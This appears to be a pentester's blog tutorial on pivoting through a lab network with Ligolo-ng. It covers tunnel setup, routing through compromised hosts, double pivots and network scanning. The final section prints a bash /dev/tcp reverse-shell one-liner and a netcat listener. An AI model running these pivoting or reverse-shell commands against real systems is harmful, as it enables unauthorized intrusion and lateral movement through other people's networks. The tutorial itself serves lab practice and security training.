# Ligolo-ng: Tunneling like a VPN

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

%[https://github.com/nicocha30/ligolo-ng] 

# Background

Pivoting is a technique used by attackers to move from one compromised system to another. This can be a valuable tool for attackers, as it allows them to expand their reach and access more sensitive data.

By pivoting, pentesters can gain access to systems that would otherwise be unreachable. I've been working through a couple of labs recently and it has made me realize how painstaking manual pivoting is.

I have used a variety of tools for pivoting, including chisel, shuttle, SSH reverse port forward paired with proxychains, <s>ngrok</s> and plink. However, I have found that these tools can be cumbersome and difficult to use (when there are multiple networks stacked on top of each other). During my lab time with [Cobalt Strike](https://4pfsec.com/zero-point-securitys-certified-red-team-operator-crto-review), I realized how easy pivoting with a C2 framework was.

Recently, I discovered a new tool called **Ligolo-ng** written by [Nicolas Chatelain](https://twitter.com/Nicocha30) that I found to be much more user-friendly and effective in what it does. Upon usage I found Ligolo to be a C2 framework just for pivoting & proxying. I'd be covering the setup, usage and practicality of this tool in this post!

---

# Video Demo

Here's a video demo showcasing the tool's capability! This'll help you decide if you should continue reading.

%[https://youtu.be/ucMhBpvZTWY] 

---

# Network

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184907945/d25e5774-8119-4878-8d5d-75d2f6c47e29.png align="center")

```plaintext
NETWORK A - 10.129.203.0/24
NETWORK B - 172.16.8.0/24
NETWORK C - 172.16.9.0/24

DMZ01 - Connected to both Network A & B
DC01  - Connected to both Network B & C
```

This is the network that we'll be pivoting through and testing this tool on. Our first pivot will be on `DMZ01` to enable us to access Network B and the following double pivot would be on `DC01` to enable us to access Network C.

---

# Prerequisites

Pick your poison and meet me over at the next section!

## Compiling Binaries

```plaintext
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go
```

## Precompiled binaries

%[https://github.com/nicocha30/ligolo-ng/releases] 

### Terminologies

```plaintext
PROXY SERVER = C2 / Kali Box
AGENT = pwned host / victim box
```

---

# Setting up the Proxy Server

This section will cover setting up of the Proxy Server on the Kali Box

## Creating a TUN Interface

```plaintext
sudo ip tuntap add user nee mode tun ligolo
sudo ip link set ligolo up
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684182783410/0bf76f55-e627-4463-a3a2-389a4a12ccc4.png align="center")

### Verifying Interface

```plaintext
ip a
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684182845324/f8b5b9ec-5e0a-420f-aba9-54329fc759a6.png align="center")

## Starting the Proxy Server

```plaintext
./proxy -selfcert
```

Running `./proxy -autocert` will generate legitimate certificates using Let's Encrypt.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684182956010/64ae4cf1-f82d-4b3c-a46b-6809eed4b374.png align="center")

---

# Setting up the Agent

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684185697573/33a129bc-504e-433c-b5e0-e0a603200ea9.png align="center")

```plaintext
RED - Hosts reachable
BLUE - Established Pivot Tunnel
```

Once we've set up the agent on DMZ01, we'd have owned 2 networks and we'd be able to access all hosts on Network B using the pivot on DMZ01.

**DMZ01**

We can see that the DMZ01 host has 2 network adapters. However, from our KALI we are only able to hit the `10.129.203.0/16` network before the pivot.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684182998224/c74c28ea-588f-4c91-8079-d92b88c34c8f.png align="center")

## Connecting to Proxy Server

```plaintext
./agent -connect 10.10.15.146:11601 -ignore-cert
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183025541/41258028-02ec-472d-8f95-be5cc82dab15.png align="center")

Now that we're successfully connected we can head back to the Kali box and add an `ip route`. This is to let our Kali box know which interface to use whilst accessing the pivot networks.

### Adding a new route on Proxy Server

```plaintext
sudo ip route add 172.16.8.0/24 dev ligolo
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183124222/fe78fe4a-4e96-4fe0-b35c-efdeed43c846.png align="center")

## Checking Connectivity to Hosts on Network B

```plaintext
ping 172.16.8.3
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183167405/1badb130-b09c-430d-bc14-fdf34f93acd4.png align="center")

```plaintext
cme smb 172.16.8.0/24
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183177213/6a69ddee-15c3-4dd4-9945-d0e93501ca29.png align="center")

Nice! We're able to reach Network B thru our pivot 👍

---

# Double Pivot

This is where things usually get a little chaotic. Usually we'd have sshuttle running on the initial pivot and we'd put in place a SSH reverse port forward or a SOCAT port forward on the initial pivot to send connections back to the Kali box and then use something like chisel to establish a tunnel with the double pivot box.

With **Ligolo**, we're able to do something similar to [cobalt strike's](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/pivoting_reverse-port-forward.htm) `rportfwd`. The `rportfwd` command on cobalt strike will bind a port on the compromised target and relay all incoming traffic to a specified host and port. Ligolo is able to perform this exact task with the `listener_add` command. This eliminates the need for multiple SSH reverse port forwards. Everything can be done within the same tunnel. Let's take a look at how that's done.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684186241621/28ebee29-5cb1-42f1-a917-28d1a62f186d.png align="center")

```plaintext
RED - Hosts Reachable
BLUE - Established Pivot Tunnel
```

With the help of `listener_add` on DMZ01, we're able to establish a secure tunnel with the DC which we can use to directly access Network C without proxychains (🤢)!

## Creating a Listener

(The box that is connected to both Network A and Network B)

on the initial pivot to send the new host's traffic to the Proxy server so that its able to establish a tunnel.

```plaintext
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
listener_list
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183793212/39627bc6-0a98-4267-82c5-77a0872bd603.png align="center")

## Connect Double Pivot box to Proxy Server

(The box that is connected to both Network B and Network C)

```plaintext
./agent.exe -connect 172.16.8.120:11601 -ignore-cert
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183890399/14ca15ec-d012-4013-8c1b-d8322ebcaa2a.png align="center")

### Start Tunnel

(On Proxy Server)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183933474/235e28d5-4894-463a-bbb6-847ee6457b6e.png align="center")

### Adding a new route on Proxy Server

```plaintext
sudo ip route add 172.16.9.0/24 dev ligolo
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684183970690/b189fcd8-296c-4712-9494-cf73c0ce957b.png align="center")

## Checking Connectivity to Hosts on Network C

```plaintext
ping 172.16.9.25
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184059247/c8304a7b-c178-44db-9b09-7c4791a7e8c8.png align="center")

```plaintext
nmap -Pn -p 22 172.16.9.25
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184073164/f7054b3d-064f-4369-b714-929638840691.png align="center")

```plaintext
ssh -i ssmallsadm.key ssmallsadm@172.16.9.25
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184091268/2f70c8dd-f43a-4a03-b0c3-c2b322e19aab.png align="center")

---

# Catching Reverse Shell via Double Pivot

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684186284852/875050ab-5031-4eda-bb43-ef49266e7f31.png align="center")

```plaintext
RED - Hosts Reachable
BLUE - Established Pivot Tunnel
GREEN - Reverse Shell Traffic
```

Since we are now able to reach the various networks directly, a reverse shell isn't the most ideal. A bind shell would be the most efficient. However, if given a scenario where we aren't able to bind to ports on a particular box, let's take a look at how this can be done.

Instead of having to forward ports from MGMT01 → DC01 → DMZ01 → Kali, with **Ligolo** we could create a listener on DC01 which would directly forward traffic to our Kali box via the existing tunnel!

## Creating a Listener

```plaintext
listener_add --addr 0.0.0.0:9001 --to 127.0.0.1:9001 --tcp
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184275566/460345f9-5b44-42a4-85ae-63bce1796f9a.png align="center")

Listener #1 will now forward all traffic hitting DC01:9001 to the PROXYSERVER:9001. (You could also forward it to another host if necessary)

### Triggering & Catching reverse shell

**MGMT01**

```plaintext
sh -i >& /dev/tcp/172.16.9.3/9001 0>&1
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184416683/375ff1e8-6b3c-4e76-8807-54e792c7ba92.png align="center")

**KALI**

```plaintext
nc -nvlp 9001
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1684184430605/b8857f92-6afd-4a33-b924-67dc99afe209.png align="center")

Thats all there is to it!

---

Hope this helps someone out there who's having a hard time double / tripple / quadruple / quintuple pivoting with the usual toolz!
